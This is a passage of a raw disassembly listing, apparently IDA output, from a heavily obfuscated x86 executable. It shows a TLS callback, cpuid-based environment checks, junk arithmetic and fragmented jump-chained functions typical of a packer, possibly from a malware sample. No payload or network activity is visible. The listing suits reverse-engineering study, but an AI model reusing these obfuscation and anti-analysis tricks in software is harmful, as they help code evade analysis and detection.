START OF FUNCTION CHUNK FOR sub_42E9E8 loc_429898: ; CODE XREF: sub_42E9E8-8B1Bj ror ebx, 15h mov edx, 80979406h jmp loc_426BCB ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- loc_4298A5: ; CODE XREF: wto1jq8f:00429E36j add eax, 7D0h mov [ebp-8], eax push 8939F545h xor dword ptr [esp], 8939F547h push 0 push 88FC08C9h add dword ptr [esp], 7703F737h jmp loc_42E706 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_4298CC: ; CODE XREF: sub_42750A+B17j ; wto1jq8f:0042D1A0j add eax, 564BA979h mov eax, [eax] or eax, eax jnz loc_4268F1 jmp loc_427CF5 ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_4298E1: ; CODE XREF: sub_42970D:loc_42A4A0j jz loc_4295D6 jmp loc_42C345 ; END OF FUNCTION CHUNK FOR sub_42970D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_4298ED: ; CODE XREF: sub_4262F5+12j cpuid and eax, 0FFFh add [esi], eax xor [esi], edx mov eax, 80000000h cpuid cmp eax, 80000000h jbe loc_4248DF jmp loc_429D23 ; END OF FUNCTION CHUNK FOR sub_4262F5 ; --------------------------------------------------------------------------- jnb loc_42BD85 jmp loc_42F99B ; --------------------------------------------------------------------------- loc_42991A: ; CODE XREF: wto1jq8f:loc_42659Ej ; wto1jq8f:0042AB80j mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax mov eax, [ebp-14h] mov eax, [eax+18h] ; START OF FUNCTION CHUNK FOR sub_42F25F loc_429929: ; CODE XREF: sub_42F25F:loc_42D6C4j dec eax jmp loc_42AF7D ; END OF FUNCTION CHUNK FOR sub_42F25F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42992F proc near ; CODE XREF: sub_42B855:loc_42E63Aj var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_42FE4C loc_429937: ; DATA XREF: sub_42E541-58E3o jnz loc_42AC2F mov eax, [ebp+arg_0] or dword ptr [eax-8], 4 mov eax, [ebp+var_4] movzx eax, byte ptr [eax] mov edx, [ebp+arg_0] mov [edx-18h], eax call sub_42B12A loc_429955: ; CODE XREF: sub_42CED1+2E4Cj jmp sub_42885C sub_42992F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD35 loc_42995A: ; CODE XREF: sub_42CD35+9j jmp loc_42E3AD ; END OF FUNCTION CHUNK FOR sub_42CD35 ; --------------------------------------------------------------------------- loc_42995F: ; CODE XREF: wto1jq8f:004259A9j jmp sub_4266EF ; --------------------------------------------------------------------------- mov edx, 0A70158B4h call sub_429165 push eax loc_42996F: ; CODE XREF: wto1jq8f:loc_427271j rol eax, 18h call sub_42C670 ; START OF FUNCTION CHUNK FOR sub_4273F7 loc_429977: ; CODE XREF: sub_4273F7+Aj jmp nullsub_142 ; END OF FUNCTION CHUNK FOR sub_4273F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42997C: ; CODE XREF: sub_42A909+566Fj sbb ebx, eax mov [eax], esi xchg ebp, esi jmp loc_42B872 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- loc_429987: ; CODE XREF: wto1jq8f:0042EF87j shl esi, 14h and eax, 81ED0A8Fh loc_429990: ; CODE XREF: wto1jq8f:loc_42857Fj mov eax, [ebp-4] mov eax, [eax] jmp loc_428039 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR TlsCallback_0 loc_42999A: ; CODE XREF: TlsCallback_0:loc_42EAABj push ecx push 0D6363DB7h pop ecx xor ecx, 0FC2FD1A2h and ecx, 3FC060A3h call sub_42C21B loc_4299B2: ; CODE XREF: sub_4272F3-1307j jnz loc_42DF88 jmp loc_42A9BC ; END OF FUNCTION CHUNK FOR TlsCallback_0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_235. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA8E loc_4299BE: ; CODE XREF: sub_42AA8E:loc_424B56j or edx, 43C10C28h jns loc_427873 adc edx, ecx sbb ecx, 0FFEA7CDEh add eax, 2B5DA642h jmp loc_427873 ; END OF FUNCTION CHUNK FOR sub_42AA8E ; --------------------------------------------------------------------------- shl ebp, 9 jmp loc_42FBFA ; --------------------------------------------------------------------------- loc_4299E5: ; CODE XREF: wto1jq8f:00425B2Cj jnz loc_42471C ; =============== S U B R O U T I N E ======================================= sub_4299EB proc near ; CODE XREF: sub_42D69D-2A40p mov [esp+0], eax pop eax pop esi retn sub_4299EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FFBA loc_4299F1: ; CODE XREF: sub_42FFBA-6E92j jmp loc_4242C1 ; END OF FUNCTION CHUNK FOR sub_42FFBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD2D loc_4299F6: ; CODE XREF: sub_42DD2D:loc_42DF6Ej ror eax, 19h jmp loc_42E63F ; END OF FUNCTION CHUNK FOR sub_42DD2D ; --------------------------------------------------------------------------- loc_4299FE: ; CODE XREF: wto1jq8f:loc_42F55Ej mov edx, edi rol esi, 12h shr ebx, 4 not ebp jmp loc_42FA61 ; --------------------------------------------------------------------------- loc_429A0D: ; DATA XREF: wto1jq8f:0042DAB4o add eax, 484F6F11h push offset loc_42FDD4 jmp loc_42E6E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_429A1D: ; CODE XREF: sub_425944+1185j add esp, 8 mov [ebp-4], eax jmp loc_42E53C ; END OF FUNCTION CHUNK FOR sub_425944 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429A28 proc near ; CODE XREF: sub_425944+Dp ; sub_425944+21B8p var_20 = dword ptr -20h ; FUNCTION CHUNK AT 0042DCDA SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFD8h mov [ebp+var_20], eax push offset sub_42D44C jmp loc_42DCDA sub_429A28 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42655A loc_429A3C: ; CODE XREF: sub_42655A+6C0Cj cmp ebx, ecx jmp loc_42C26D ; END OF FUNCTION CHUNK FOR sub_42655A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B05 loc_429A43: ; CODE XREF: sub_428B05-BFBj jnz loc_427EF6 retn ; END OF FUNCTION CHUNK FOR sub_428B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429A4A: ; CODE XREF: sub_426535+AD8j jmp loc_429337 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B05 loc_429A4F: ; CODE XREF: sub_428B05:loc_427EF6j sub ebx, 10000h mov eax, [ebx] loc_429A57: ; CODE XREF: sub_425F4F:loc_42EAC0j neg eax cmp ax, 0A5B3h jnz loc_427EF6 jmp loc_42B8D9 ; END OF FUNCTION CHUNK FOR sub_428B05 ; --------------------------------------------------------------------------- sub ebp, 6A9BA911h jmp sub_42F62D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi jmp sub_428310 ; --------------------------------------------------------------------------- loc_429A7A: ; DATA XREF: wto1jq8f:0042B9E1o push 7A32DB3Dh pop edx add edx, 860FD1B3h mov [edx], eax pop edx xor eax, eax mov [ebp-4], eax jmp loc_4282E6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42708B loc_429A94: ; CODE XREF: sub_42708B:loc_424ACEj jmp loc_429293 ; END OF FUNCTION CHUNK FOR sub_42708B ; =============== S U B R O U T I N E ======================================= sub_429A99 proc near ; CODE XREF: sub_427198+Dj ; FUNCTION CHUNK AT 0042F0B8 SIZE 00000005 BYTES push ebp push 6BCF9032h pop eax or eax, 0C92E5ECEh add eax, 1452CE02h push offset loc_42875D jmp loc_42F0B8 sub_429A99 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_429AB6: ; CODE XREF: sub_42506F+11j add eax, 47892A72h add eax, ebp add eax, 31DF1B2Ch mov eax, [eax] mov dword ptr [ebp+eax*4-70h], 73257325h jmp loc_4246C5 ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF9A loc_429AD3: ; CODE XREF: sub_42FF9A-35F5j push 835E9DAEh pop ecx xor ecx, 0C324E486h popf adc eax, ecx pop ecx jmp loc_424C68 ; END OF FUNCTION CHUNK FOR sub_42FF9A ; =============== S U B R O U T I N E ======================================= sub_429AE8 proc near ; CODE XREF: sub_4260DB+57E6p ; wto1jq8f:0042E033j ; FUNCTION CHUNK AT 00424C10 SIZE 0000001E BYTES xchg eax, [esp+0] pop eax add eax, 9C8BFECh add eax, ebp add eax, 40887D73h push eax push 0A1D557EFh pop eax jmp loc_424C10 sub_429AE8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429B06: ; CODE XREF: sub_426535-23C4j sub edi, ecx jmp loc_427F39 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E35 loc_429B0D: ; CODE XREF: sub_425E35+8280j or ecx, ecx jz loc_42F9B4 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jmp loc_429C4A ; END OF FUNCTION CHUNK FOR sub_425E35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AEA4 loc_429B20: ; CODE XREF: sub_42AEA4+15j xchg edi, [esp+0] jmp loc_426E20 ; END OF FUNCTION CHUNK FOR sub_42AEA4 ; --------------------------------------------------------------------------- adc ecx, 61BE78E3h jmp loc_42B2A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_429B33: ; CODE XREF: sub_426E98+AFj jb loc_42B1CD ; END OF FUNCTION CHUNK FOR sub_426E98 ; =============== S U B R O U T I N E ======================================= sub_429B39 proc near ; CODE XREF: sub_426D89+1p xchg ebx, [esp+0] pop ebx push 3DAF8BDEh mov eax, offset loc_4259A0 xchg eax, [esp+0] jmp nullsub_36 sub_429B39 endp ; --------------------------------------------------------------------------- jnp loc_42B2EE jnb loc_42F892 jmp sub_42FC50 ; --------------------------------------------------------------------------- locret_429B60: ; CODE XREF: wto1jq8f:0042DAB9j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_429B61: ; CODE XREF: sub_42E0FD-2D08j ; sub_42F25F+A21j jmp loc_4278D6 ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_429B66: ; CODE XREF: sub_42B02D:loc_4265A4j push ds:dword_42FB5C retn ; END OF FUNCTION CHUNK FOR sub_42B02D ; =============== S U B R O U T I N E ======================================= sub_429B6D proc near ; CODE XREF: sub_42B02D+37Dp ; sub_42B02D+49Ap ; FUNCTION CHUNK AT 00429E6B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042B21A SIZE 00000014 BYTES mov eax, cs xor al, al jmp loc_42B21A sub_429B6D endp ; =============== S U B R O U T I N E ======================================= sub_429B76 proc near ; DATA XREF: sub_42506F:loc_42B7ADo var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424086 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00424183 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004247ED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424C63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425C7D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042670F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004269C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042723A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427396 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427B95 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00428AB1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042907C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429390 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00429F75 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042A022 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A0AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A0C8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A2A0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042ADDB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042B374 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042C527 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042D284 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D778 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DB37 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E0C6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E2DC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042E635 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E993 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042ED3C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F058 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042F168 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042F650 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F71D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F7DB SIZE 00000008 BYTES push eax call sub_42C547 cmp dword ptr [ebp-0Ch], 0 jz loc_424183 mov eax, [ebp-0Ch] push eax push edi push 0B71B534Fh jmp loc_42F058 sub_429B76 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_429B95: ; CODE XREF: sub_427143+766Ej jo loc_42EE1C test ebp, 1AE671DCh jmp loc_42FB71 ; END OF FUNCTION CHUNK FOR sub_427143 ; =============== S U B R O U T I N E ======================================= sub_429BA6 proc near ; CODE XREF: wto1jq8f:0042771Ep ; wto1jq8f:0042C10Aj arg_0 = dword ptr 4 mov [esp+0], ecx pop ecx mov ebx, [ebx] xchg ebx, [esp-4+arg_0] retn sub_429BA6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_429BB0: ; CODE XREF: wto1jq8f:00429C9Dj jmp loc_42AE39 ; --------------------------------------------------------------------------- loc_429BB5: ; CODE XREF: wto1jq8f:loc_428B00j mov esi, eax xchg esi, [esp] call sub_42FB2F push eax push 7B4376B4h pop eax and eax, 4D1F7B7Dh jmp loc_42742B ; --------------------------------------------------------------------------- loc_429BD1: ; CODE XREF: wto1jq8f:00427954j xor esi, edx ; =============== S U B R O U T I N E ======================================= sub_429BD3 proc near ; CODE XREF: sub_4296B3+8p ; FUNCTION CHUNK AT 004242BB SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00424C4C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00426164 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00427D21 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428A41 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00429753 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042B9B4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D7F7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042F272 SIZE 0000001E BYTES mov [esp+0], ebx pop ebx cmp dword ptr [ebp-0Ch], 0 jz loc_424C4C jmp loc_427D21 sub_429BD3 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A88D loc_429BE7: ; CODE XREF: sub_42A88D+14j jmp loc_427777 ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_429BEC: ; CODE XREF: sub_4266B1+2895j ; sub_4266B1:loc_42A64Dj lea eax, [ebp-14h] push eax call sub_42D910 push 25BA0E01h jmp loc_42E1CD ; END OF FUNCTION CHUNK FOR sub_4266B1 ; =============== S U B R O U T I N E ======================================= sub_429BFF proc near ; CODE XREF: sub_42821F+59Ep var_14 = dword ptr -14h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042438C SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00424FE2 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 00425F21 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C32 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00426DA6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427A88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428918 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B244 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042B334 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B99D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BC75 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042BEC0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042C22D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C8B6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CCDE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D01C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042D2A2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D633 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042D72F SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0042D8D3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042DA1A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042DD22 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E589 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EE7F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EF6F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F2E7 SIZE 00000012 BYTES xchg eax, [esp+14h+var_14] mov eax, [esp+14h+var_14] call sub_429642 cmp eax, 0FFFFFFFFh jz loc_42D73B jmp loc_42B99D sub_429BFF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_429C18 proc near ; DATA XREF: sub_42E4EA+7o ; FUNCTION CHUNK AT 0042D15B SIZE 00000005 BYTES call sub_42D35A test al, al jnz loc_4245A1 mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jmp loc_42D15B sub_429C18 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429C31: ; CODE XREF: wto1jq8f:00426639j add dword ptr [esi], 0F80586h push 3414D002h pop eax loc_429C3D: ; CODE XREF: wto1jq8f:loc_42B319j add eax, 0CBEB2FFEh cpuid jmp loc_42C542 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E35 loc_429C4A: ; CODE XREF: sub_425E35+3CE6j call sub_426461 ; END OF FUNCTION CHUNK FOR sub_425E35 ; START OF FUNCTION CHUNK FOR sub_426E98 loc_429C4F: ; CODE XREF: sub_426E98-279Bj jno loc_42B543 loc_429C55: ; CODE XREF: sub_426E98:loc_426F76j call sub_424585 mov edx, 0CE3062ECh loc_429C5F: ; CODE XREF: wto1jq8f:loc_426645j call sub_429165 push eax rol eax, 0Eh jmp loc_42B215 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- pop ebp jmp sub_429CC7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_429C74: ; CODE XREF: sub_426C0C+1AFAj jmp loc_4265DB ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260A9 loc_429C79: ; CODE XREF: sub_4260A9+11j jmp loc_42EC9D ; END OF FUNCTION CHUNK FOR sub_4260A9 ; --------------------------------------------------------------------------- loc_429C7E: ; DATA XREF: sub_42CF00+9o test al, al jnz locret_426431 jmp loc_42B146 ; --------------------------------------------------------------------------- mov ebp, ecx shl esi, 0Dh jmp sub_42F947 ; --------------------------------------------------------------------------- test al, al jz loc_427DE3 jmp loc_429BB0 ; --------------------------------------------------------------------------- locret_429CA2: ; CODE XREF: wto1jq8f:004244DFj retn ; --------------------------------------------------------------------------- loc_429CA3: ; CODE XREF: wto1jq8f:0042968Bj jmp loc_42839A ; --------------------------------------------------------------------------- loc_429CA8: ; DATA XREF: sub_42C990-7958o push 6962074Dh pop eax add eax, 0EAF3B7B2h and eax, 551D8CFAh xor eax, 1AAA401Fh add eax, ebp jmp loc_428201 ; =============== S U B R O U T I N E ======================================= sub_429CC7 proc near ; CODE XREF: wto1jq8f:00429C6Ej ; sub_42CF2Bp arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx xchg ebx, [esp-4+arg_0] mov ebp, ebx pop ebx retn sub_429CC7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_429CD2: ; CODE XREF: sub_429D2E-3B77j jmp loc_42F12A ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- loc_429CD7: ; DATA XREF: sub_42B276:loc_4281ABo call sub_42CB36 test al, al jz loc_429CEB call nullsub_243 retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_243. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429CEB: ; CODE XREF: wto1jq8f:00429CDEj call sub_42CB36 jmp loc_4270F3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_429CF6: ; CODE XREF: wto1jq8f:loc_42599Bj retn ; --------------------------------------------------------------------------- xor esi, 0D4ACF132h jmp loc_42760D ; --------------------------------------------------------------------------- loc_429D02: ; DATA XREF: sub_427218+12o mov eax, [ebp+8] call sub_427F8F push 0D411C214h mov [esp], edi mov [esp], eax rol eax, 6 loc_429D18: ; CODE XREF: wto1jq8f:0042A684j push ebx push offset sub_426C9F jmp loc_427CAE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_429D23: ; CODE XREF: sub_4262F5+3615j ja loc_42B125 jmp loc_4273E5 ; END OF FUNCTION CHUNK FOR sub_4262F5 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429D2E proc near ; DATA XREF: sub_427694+1o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00424A64 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F75 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424FCC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004261A6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00426247 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00426A0F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428D27 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429CD2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A0FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BCB3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042C5BB SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042E986 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0042EAB5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F12A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F36A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F7CD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042FEB8 SIZE 00000013 BYTES mov ebp, esp push ecx cmp ds:dword_429558, 0 jnz loc_42C5BB jmp loc_424F75 sub_429D2E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_429D43: ; CODE XREF: sub_42B276:loc_427101j jnz loc_42819A jmp loc_42F6DD ; END OF FUNCTION CHUNK FOR sub_42B276 ; =============== S U B R O U T I N E ======================================= sub_429D4E proc near ; CODE XREF: sub_4260DB+616Cp ; wto1jq8f:0042DD16j mov [esp+0], edi pop edi add eax, 0D0906B8Eh mov dword ptr [eax], 70736957h lea eax, [ebp-1Ch] mov dword ptr [eax], 646E6957h lea eax, [ebp-18h] mov dword ptr [eax], 6C43776Fh jmp loc_426F1A sub_429D4E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_429D75: ; CODE XREF: sub_426E98+8C77j mov ebp, offset nullsub_233 xchg ebp, [esp+10h+var_10] retn ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247C1 loc_429D7E: ; CODE XREF: sub_4247C1+Ej jmp nullsub_37 ; END OF FUNCTION CHUNK FOR sub_4247C1 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_233. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_429D86: ; CODE XREF: sub_42D9D9:loc_42A878j mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax jmp loc_42699F ; --------------------------------------------------------------------------- loc_429D96: ; CODE XREF: sub_42D9D9:loc_42D9E7j cmp dword ptr [ebp-1Ch], 66h jnz loc_42676E jmp loc_424B66 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- test al, al jz loc_42446E jmp loc_4271D2 ; --------------------------------------------------------------------------- loc_429DB2: ; CODE XREF: wto1jq8f:00424983j jns loc_42D260 add ebp, ebx push edx loc_429DBB: ; CODE XREF: wto1jq8f:loc_42A432j push offset loc_427525 jmp loc_42A578 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42658A loc_429DC5: ; CODE XREF: sub_42658A+Ej sub eax, 8916BF83h jns loc_42B772 loc_429DD1: ; CODE XREF: sub_425CE2+6B9Cj jmp loc_4250CA ; END OF FUNCTION CHUNK FOR sub_42658A ; --------------------------------------------------------------------------- sbb edx, ebp adc esi, 0BAE7E174h loc_429DDE: ; CODE XREF: wto1jq8f:loc_4283DCj jb loc_42E67F jmp loc_42B76A ; --------------------------------------------------------------------------- loc_429DE9: ; CODE XREF: wto1jq8f:0042B594j jz loc_42C2F7 jmp loc_42F2E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42604C loc_429DF4: ; CODE XREF: sub_42604C+60D8j rol eax, 15h jmp loc_42DA75 ; END OF FUNCTION CHUNK FOR sub_42604C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429DFC proc near ; CODE XREF: sub_424BF9j push ebp mov ebp, esp mov esp, ebp pop ebp push offset sub_42AA04 jmp nullsub_39 sub_429DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429E0C proc near ; CODE XREF: sub_42F185-6CECj retn sub_429E0C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429E0D: ; CODE XREF: sub_426535:loc_4280A8j jz loc_42A179 jmp loc_42C66B ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_429E18: ; CODE XREF: wto1jq8f:00424289j jg loc_42EC04 ; START OF FUNCTION CHUNK FOR sub_4244EA loc_429E1E: ; CODE XREF: sub_4244EA:loc_42D7A8j add eax, 0B03159E7h push ecx push 0E599B3Ch pop ecx xor ecx, 7FA92EFAh jmp loc_42DF97 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- jns loc_4298A5 add eax, 7D0h mov [ebp-8], eax push edx push 8F115938h call sub_42B31F ; START OF FUNCTION CHUNK FOR sub_42F575 loc_429E4F: ; CODE XREF: sub_42F575+10j jmp loc_427A5F ; END OF FUNCTION CHUNK FOR sub_42F575 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429E55: ; CODE XREF: sub_426535+588Cj jmp loc_429F3E ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_429E5A: ; CODE XREF: wto1jq8f:0042DAC0j pushf ; =============== S U B R O U T I N E ======================================= sub_429E5B proc near ; CODE XREF: sub_42708B+6287p ; FUNCTION CHUNK AT 00424F18 SIZE 00000006 BYTES mov [esp+0], edi pop edi call sub_424BF9 push 0 